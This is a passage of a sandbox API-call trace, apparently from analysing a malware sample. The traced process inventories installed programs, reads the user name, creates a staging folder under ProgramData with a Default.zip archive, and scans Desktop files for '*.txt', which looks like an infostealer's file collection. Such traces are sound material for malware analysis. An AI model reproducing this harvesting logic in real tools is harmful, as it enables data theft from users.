(in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 90 [0146.139] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.139] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpcbData=0x19eb90*=0x3e) returned 0x0 [0146.139] GetLastError () returned 0x12 [0146.139] SetLastError (dwErrCode=0x12) [0146.139] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.21005", lpcbData=0x19eb90*=0xb) returned 0x0 [0146.139] GetLastError () returned 0x12 [0146.139] SetLastError (dwErrCode=0x12) [0146.139] GetLastError () returned 0x12 [0146.140] SetLastError (dwErrCode=0x12) [0146.140] GetLastError () returned 0x12 [0146.140] SetLastError (dwErrCode=0x12) [0146.140] GetLastError () returned 0x12 [0146.140] SetLastError (dwErrCode=0x12) [0146.140] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.140] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2c, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0146.140] RegCloseKey (hKey=0x2fc) returned 0x0 [0146.140] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366888 [0146.140] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340b80 [0146.140] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366818 [0146.141] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366838 | out: hHeap=0x2360000) returned 1 [0146.141] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340dc0 | out: hHeap=0x2360000) returned 1 [0146.141] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366888 | out: hHeap=0x2360000) returned 1 [0146.141] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4f0) returned 0x23669e8 [0146.141] GetLastError () returned 0x12 [0146.141] SetLastError (dwErrCode=0x12) [0146.141] WriteFile (in: hFile=0x28, lpBuffer=0x19d9c0*, nNumberOfBytesToWrite=0x1093, lpNumberOfBytesWritten=0x19d9a0, lpOverlapped=0x0 | out: lpBuffer=0x19d9c0*, lpNumberOfBytesWritten=0x19d9a0*=0x1093, lpOverlapped=0x0) returned 1 [0146.143] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669e8 | out: hHeap=0x2360000) returned 1 [0146.143] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2367310 | out: hHeap=0x2360000) returned 1 [0146.143] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366818 | out: hHeap=0x2360000) returned 1 [0146.143] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b80 | out: hHeap=0x2360000) returned 1 [0146.143] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366928 | out: hHeap=0x2360000) returned 1 [0146.143] WriteFile (in: hFile=0x28, lpBuffer=0x19dc5c*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x19dc3c, lpOverlapped=0x0 | out: lpBuffer=0x19dc5c*, lpNumberOfBytesWritten=0x19dc3c*=0x273, lpOverlapped=0x0) returned 1 [0146.143] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362758 | out: hHeap=0x2360000) returned 1 [0146.143] CloseHandle (hObject=0x28) returned 1 [0146.145] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x3340f40 [0146.145] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\files"), lpSecurityAttributes=0x0) returned 1 [0146.146] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0146.146] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x3340f40 [0146.146] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\files")) returned 1 [0146.146] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0146.151] GetLastError () returned 0x12 [0146.151] SetLastError (dwErrCode=0x12) [0146.151] GetLastError () returned 0x12 [0146.151] SetLastError (dwErrCode=0x12) [0146.151] GetLastError () returned 0x12 [0146.151] SetLastError (dwErrCode=0x12) [0146.151] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340f40 [0146.151] GetLastError () returned 0x12 [0146.151] SetLastError (dwErrCode=0x12) [0146.151] GetLastError () returned 0x12 [0146.151] SetLastError (dwErrCode=0x12) [0146.151] GetLastError () returned 0x12 [0146.151] SetLastError (dwErrCode=0x12) [0146.151] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404c0 [0146.151] GetLastError () returned 0x12 [0146.151] SetLastError (dwErrCode=0x12) [0146.151] GetUserNameA (in: lpBuffer=0x19d44c, pcbBuffer=0x19d448 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19d448) returned 1 [0146.198] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340628 [0146.198] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340650 [0146.198] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340628 | out: hHeap=0x2360000) returned 1 [0146.198] GetLogicalDriveStringsA (in: nBufferLength=0x64, lpBuffer=0x19f760 | out: lpBuffer="C:\\") returned 0x4 [0146.198] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340048 [0146.198] GetLastError () returned 0x12 [0146.199] SetLastError (dwErrCode=0x12) [0146.203] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4098) returned 0x23669e8 [0146.212] CreateFileA (lpFileName="Default.zip" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\files\\default.zip"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0146.212] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366918 [0146.212] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0146.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0146.212] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x33400d0 [0146.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x33400d0, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0146.212] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x23604a0 [0146.212] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.213] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.213] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0146.213] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0146.213] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.213] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.213] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0146.213] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.213] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.213] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0146.213] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.217] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.218] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.218] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.218] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0146.218] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.218] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.218] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0146.218] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.218] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.218] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aafd530, ftCreationTime.dwHighDateTime=0x1d7ab0e, ftLastAccessTime.dwLowDateTime=0x6ccdf970, ftLastAccessTime.dwHighDateTime=0x1d7afd2, ftLastWriteTime.dwLowDateTime=0x6ccdf970, ftLastWriteTime.dwHighDateTime=0x1d7afd2, nFileSizeHigh=0x0, nFileSizeLow=0xac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="0AEOYBW.gif", cAlternateFileName="")) returned 1 [0146.218] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.218] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.218] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0AEOYBW.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif" [0146.218] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.218] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.218] lstrcatW (in: lpString1="\\", lpString2="0AEOYBW.gif" | out: lpString1="\\0AEOYBW.gif") returned="\\0AEOYBW.gif" [0146.218] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.218] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x2360550 [0146.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x2360550, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", lpUsedDefaultChar=0x0) returned 43 [0146.218] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.218] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.218] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.219] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340108 [0146.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3340108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.219] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340108 | out: hHeap=0x2360000) returned 1 [0146.219] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*.txt") returned 0 [0146.219] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.219] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00098c0, ftCreationTime.dwHighDateTime=0x1d7a6cb, ftLastAccessTime.dwLowDateTime=0xa172ad00, ftLastAccessTime.dwHighDateTime=0x1d7ac4f, ftLastWriteTime.dwLowDateTime=0xa172ad00, ftLastWriteTime.dwHighDateTime=0x1d7ac4f, nFileSizeHigh=0x0, nFileSizeLow=0xd5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0pw9-hL.rtf", cAlternateFileName="")) returned 1 [0146.219] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.219] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.219] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0pw9-hL.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf" [0146.219] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.219] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.219] lstrcatW (in: lpString1="\\", lpString2="0pw9-hL.rtf" | out: lpString1="\\0pw9-hL.rtf") returned="\\0pw9-hL.rtf" [0146.219] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.219] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x2360550 [0146.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x2360550, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", lpUsedDefaultChar=0x0) returned 43 [0146.219] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.219] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.219] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.220] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340108 [0146.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3340108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.220] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340108 | out: hHeap=0x2360000) returned 1 [0146.220] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*.txt") returned 0 [0146.220] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.220] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf526a000, ftCreationTime.dwHighDateTime=0x1d7b433, ftLastAccessTime.dwLowDateTime=0xf526a000, ftLastAccessTime.dwHighDateTime=0x1d7b433, ftLastWriteTime.dwLowDateTime=0xcf909b00, ftLastWriteTime.dwHighDateTime=0x1d7b421, nFileSizeHigh=0x0, nFileSizeLow=0x92400, dwReserved0=0x0, dwReserved1=0x0, cFileName="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cAlternateFileName="7859D0~1.EXE")) returned 1 [0146.220] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.220] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.220] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.220] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.220] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.220] lstrcatW (in: lpString1="\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.220] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xd0) returned 0x23611c0 [0146.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0146.220] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x64) returned 0x23604e8 [0146.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x23604e8, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", lpUsedDefaultChar=0x0) returned 100 [0146.220] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x2366690 [0146.220] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.220] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.220] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.220] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.220] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*.txt") returned 0 [0146.220] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366690 | out: hHeap=0x2360000) returned 1 [0146.221] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x767b4af0, ftCreationTime.dwHighDateTime=0x1d7aa31, ftLastAccessTime.dwLowDateTime=0xd2fd0c00, ftLastAccessTime.dwHighDateTime=0x1d7aa9f, ftLastWriteTime.dwLowDateTime=0xd2fd0c00, ftLastWriteTime.dwHighDateTime=0x1d7aa9f, nFileSizeHigh=0x0, nFileSizeLow=0x2b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="82JEM7uGSBUD5y.jpg", cAlternateFileName="82JEM7~1.JPG")) returned 1 [0146.221] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.221] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.221] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg" [0146.221] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.221] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.221] lstrcatW (in: lpString1="\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="\\82JEM7uGSBUD5y.jpg") returned="\\82JEM7uGSBUD5y.jpg" [0146.221] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0146.221] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x32) returned 0x2360560 [0146.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x2360560, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", lpUsedDefaultChar=0x0) returned 50 [0146.221] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0146.221] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.221] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.221] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.221] 